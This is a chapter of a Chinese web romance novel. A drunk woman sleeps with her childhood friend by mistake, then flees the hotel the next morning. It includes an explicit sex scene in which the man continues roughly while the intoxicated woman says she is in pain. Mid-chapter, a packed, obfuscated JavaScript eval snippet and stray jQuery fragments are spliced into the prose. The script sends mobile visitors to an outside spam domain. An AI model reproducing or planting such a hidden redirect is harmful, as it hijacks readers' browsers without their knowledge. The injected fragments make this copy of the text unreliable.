21. 渐近
作品:《误诊后睡了粘牙竹马》 雨是突然下起来的。
起初只是零星的敲窗声,渐渐密成绵长的白噪音。
寥寥月光从云隙间漏出,照亮她艰涩的侧脸,以及地板上散落的外卖袋,纠缠着的衣物。
她的指尖刚触到他的腰侧,就感受到那片肌肉骤然绷紧。落地窗上蜿蜒出透明的水线,一如他背上慢慢浮起的汗。
昼白的闪电撕裂夜空,她半睁迷离的眸子,男生手腕上的红绳在她的视网膜上烙下一道灼痕。她看见他浑身绷紧的肌肉线条,像张蓄力拉满的弓。
轰。
他陡然伸手去捂她的耳朵,最终还是陷在她柔软的长发里。
床单皱得不像话。
酒精混着情欲在血管里沸腾。
啪。是理智被烧断的声音。
压在心口的那座火山至此真正地复活,源源不断地往外吐炙热的岩浆,烫得她整个人都雀跃起来,她感受到前所未有的愉悦。
“许伽宁......”他抚着她的脸,声音哑得厉害,喉结在她唇下滚动。
在这一次的顶峰,所有不甘与迟疑都消失殆尽,只剩下薄荷和茉莉夹杂的气息,混着未散的水汽。
雷声滚过,她仰起脖颈想去吻他晶莹的嘴唇,“卢星洲......”
名字出口的瞬间,他瞳孔猛地收缩,伏着的身子僵住,他侧头躲过她迎面而来的气息,“你叫我什么?”
雨声忽然变得刺耳。
交错的呼吸让许伽宁恍觉错愕,下一秒她的下巴突然被人钳住,“许伽宁你看清楚我是谁。”
宋时冕卡在中间,不上不下。
一个深夜造访的醉鬼对自己上下其手,终于把自己骗到床上了,结果她居然想着别人,还喊着别人的名字。
这算什么?
他可以报警吗?
这种感觉,就像是手上长倒刺,心里扎刀子,鞋里进沙子,眼里钻虫子。
膈应。
更像是被人从头到脚浇了一盆凉水。
透心凉。
许伽宁没回答,嘴上不知道在嘀嘀咕咕什么。他假装没听到,好像根本不在意她刚刚说的,继续手头上的事情,只是越来越快,动作也没那么温柔。
许伽宁痛得厉害,指甲嵌进他的肩膀,止不住地颤抖,“别......”
“这下你分得清谁是谁了吗?”宋时冕眼尾泛红。
酒精模糊视线麻痹大脑,她搞不明白为什么眼前这个人一直问她自己是谁。她不会搞错的。
男人在床上多多少少都是有些自尊心的,他这样问,应该是想她夸他厉害吧。
动动嘴皮子的事情,她也不是吝啬夸赞的人。况且,小弟弟年轻活好,没什么不满意的,挺舒服的。
“弟弟真棒。”
不信。
都这会儿功夫了,许伽宁你还要气我是吧。
是不是还记着小时候的那些仇。
宋时冕盯着许伽宁身上那些深浅不一的印记,不知道接下来该做什么。
没过多久,他眼尾越来越红,沉默片刻他烦躁地去咬她的脸颊,下巴,肩膀。最后,缓慢地从她身上抽离,捂住眼睛躺在旁边。
已是后半夜,许伽宁被折腾得累了,睡得死沉,自然也不会听见枕边那位鼻子堵了一整夜。
*
许伽宁是被冻醒的。
眼皮像是千斤重,她头痛欲裂,刚一动弹,发现身上也是疼得散架。
许伽宁蹙眉,空调风正对自己,吹得她浑身冰凉,她挣扎着抬手拉过被子盖在脸上,温暖的被窝里满是她熟悉的薄荷味,好像在提醒她昨晚的所作所为。
昨晚太累了,也不知道闹到几点,好像最后被人抱着去洗了个澡。可惜喝得太多,她只隐约记得和人接吻时的心跳加速,彼此贴近时的畅快。
她揉了揉粘住的眼皮,扭头去看那个总是脸红的男生。
雨后的阳光猛烈,透过白色纱帘影影绰绰映着屋内的情景。
男生呼吸平缓匀速,胸膛缓缓起伏。他的侧脸轮廓硬朗分明,鼻梁挺直俊秀,眼尾处微微泛红,似是泪痕,睫毛更像是被泪水弄得根根分明。
这是做噩梦吓哭了吗?
不对。
这是谁。
她的小奶狗去哪了?
难不成她昨晚其实是点的男模?
而且,为毛这个男的长得这么像她那个便宜发小?
一瞬间,许伽宁宛如晴天霹雳,猛地钻回被子,后背往外噌噌滋冷汗。没多久,她脑袋再次探出被窝,又瞥了眼这枕边人。
没做梦。真的是宋时冕。
完蛋。
她整理了会儿心情,艰难撑起上半身坐起来,撩起被子一角,低头盯着身上的青紫,沉默片刻,伸手拍了拍空气。
这沪城的蚊子还挺多,一晚上给她咬成这样。
身边人忽然动了两下,她乍然回头,好在宋时冕人没醒只是翻了个身背对她,只是他肌肉分明的后背也是触目惊心,全是抓痕,看来她昨晚也挺卖力。
主要还是体验感是真没得吹,现在壮如牛的年轻人不多了,没想到就这么歪打正着给她碰上了。
许伽宁坐在床上思忖片刻,忽然像是下定某种决心,凑过去在宋时冕嘴上偷摸亲了口。
宋时冕就宋时冕吧,没什么区别。昨晚记不得的这会儿再来一次她也不嫌弃。
只不过,秉持着不负责的原则,亲完她捞起衣服就跑了。
她已经想象到昨天晚上她是怎么逼良为娼的,要是这会儿宋时冕醒了发现她,以这家伙的小心眼,还不知道要怎么报复她。
她不是得了便宜还卖乖的人,拿人手短吃人嘴软,她绝对不在他面前碍他眼。
大家都是成年人,相信躲一段时间,他也就释怀了。
他俩还是好朋友。
再者,生命的尽头她只想好好度过,但凡摊上宋时冕,她别想好过了,就剩仨月,她要去环游世界,可不要在这跟他浪费。
跑跑跑。
猫眼里门前经过一位穿着酒色制服的服务生,她等了几秒待门外没有声音,偷摸出门。
临走前,她突然想到什么,转头看了眼房间号。
2907.
许伽宁:“......”
靠。
合着她昨晚是把“7”看成了“9”。
许伽宁咬牙切齿地回了25层。
她昨晚来得单枪匹马,连手机都没带,本意是希望美好夜晚不许人打扰,谁成想现在她连鬼都联系不到。
早上九点半,许伽宁喊不出声,无助地拍自己房门,只盼着门里面另外一个酒鬼能赶紧给自己开门。
最后,还是又一位随机在酒店刷新的服务生给自己开的门。
“李蕊!别睡了!”一进门,她顶着破锣嗓子直呼飘飘大名,一副大难临头的样儿,“完了完了,全完了!”
地板上全是空酒瓶,外卖盒,飘飘人还四仰八叉地倒在地毯上,一睁眼只见许伽宁正慌忙往箱子里塞衣服,“你喉咙怎么了姐,你不是去找卢小帅哥了吗?”
许伽宁去卫生间把酒店送的香水、蜡烛一股脑全扫进包里,“先别管了,我们待会儿就走,这沪城是待不下去了。”
“我们是明天下午的机票啊,不是你说要跟卢星洲在沪城玩一天的吗?”
“我说个屁我说,我天天放屁你又不是不知道,”许伽宁像是疯了,一边着急又一边把酒店能免费拿走的全拿走,“改签!立马改签!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841798|173254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
飘飘被她的情绪感染,人已经清醒不少,但她着实好奇许伽宁昨晚高高兴兴出去,怎么第二天早上像是逃荒一样回来。
这么狼狈不是她姐的作风。
她靠着卫生间的门框上,想着能不能再问出点什么,结果就看见许伽宁浑身的印子,“姐,你这身上......”
你昨晚到底是去寻找刺激还是拔火罐的?
许伽宁愣住,停下手上的事情,对着卫生间的镜子看了眼自己。她这衣服待会儿出门肯定是不行的,就这么出门的话,简直就像个行走的按摩店招牌。
她对上飘飘兴奋的眼神,“我说是被蚊子咬的,你信吗?”
飘飘:“......姐夫真厉害,堪比啄木鸟。”
许伽宁拎着包出来,撞了下她的肩膀,“夸得不错,下次不准夸了。你别站这碍事了,现在赶紧改签,选最早一班的,半个小时后咱们就走。”
“咱们为什么要跑啊,难不成卢星洲气急败坏要曝光你?”
如果是卢星洲就好了,现在她就不会这么狼狈。
眼前浮现出宋时冕那张厌世脸。许伽宁忽然想起小时候她故意把宋时冕和他最讨厌的蟑螂关进一个房间,说要锻炼他胆量,结果第二天他就拎了一只尖嘴鸡丢进她房间的事情。
后来她哭了好久,宋时冕才把那只鸡带走。就在她以为这事结束的时候,晚上他又他妈把那只鸡给炖了,还专把鸡头挑出来给她家送来。
她永远忘不了那天宋时冕脸上的笑多瘆人,简直就像唐探1结尾里小女孩的性转版。
想到这,许伽宁打了个寒颤,摸着胳膊上的鸡皮疙瘩说,“现在发生了比这个更可怕的事,等咱安全了我再跟你说,你姐今天要是不走,你很可能就再也见不到我了。”
“就这么严重?”
“就这么严重。”
两人大眼瞪小眼半晌,飘飘哦了一声,给手机充上电,乖乖按许伽宁说的办。
许伽宁怕她忘记,又出声提醒一遍,“越早越好。”
“唉,还想着再住两天呢。这四星级酒店的床看着就软,躺着肯定舒服得不得了,我居然在地上醒来的,感觉自己白睡了一晚上。”飘飘锤了把僵硬的腰,深表遗憾。
许伽宁的工作中心不在沪城,连带着飘飘都很少有机会来沪城这种大都市,“姐,我以后再也不陪你乱喝酒了,亏大发了。”
谁说不是呢。
她本来的计划,是想体面地离开这个世界的。
许伽宁竖起四根指头,一脸视死如归,“我发誓以后也不乱喝酒了,再乱喝我抽我自己。”
半个小时后,许伽宁如愿坐上开往机场的车。她心有余悸地盯着宋时冕的微信头像,毅然决然地将他送进黑名单里。
连带他的所有联系方式。
*
宋时冕确实是从噩梦中醒来的。梦的内容光怪陆离,毫无逻辑,只记得最后一脚踩空的失重感,再睁眼时眼前只有一片昏暗。
他今天一直到早上天光大亮的时候才睡着,这会儿睡得太久头昏脑胀,他抬手按了按酸胀的眉骨。
手机屏幕亮起,成了房间唯一的光源。他伸手去摸,锁屏上陈枫的消息堆成一摞,心里想的那个名字却怎么也找不见。
他左滑将杂乱的信息删光,抬眼看了眼时间,下午四点。
一个睁开眼感觉被全世界抛弃的时间。
他自嘲低笑出声,随即暗灭屏幕。
他下床去冲澡,半刻钟后他走出淋浴房,瞥见洗手台上浅蓝色的丝巾。
是昨天她系的那条。
他屈着手指拿起,灯光下绸缎漾起柔和的光泽,他神使鬼差拿到鼻前,闭眼深呼吸。他漆黑的冷眸生出几分餍足,转而消失得无踪。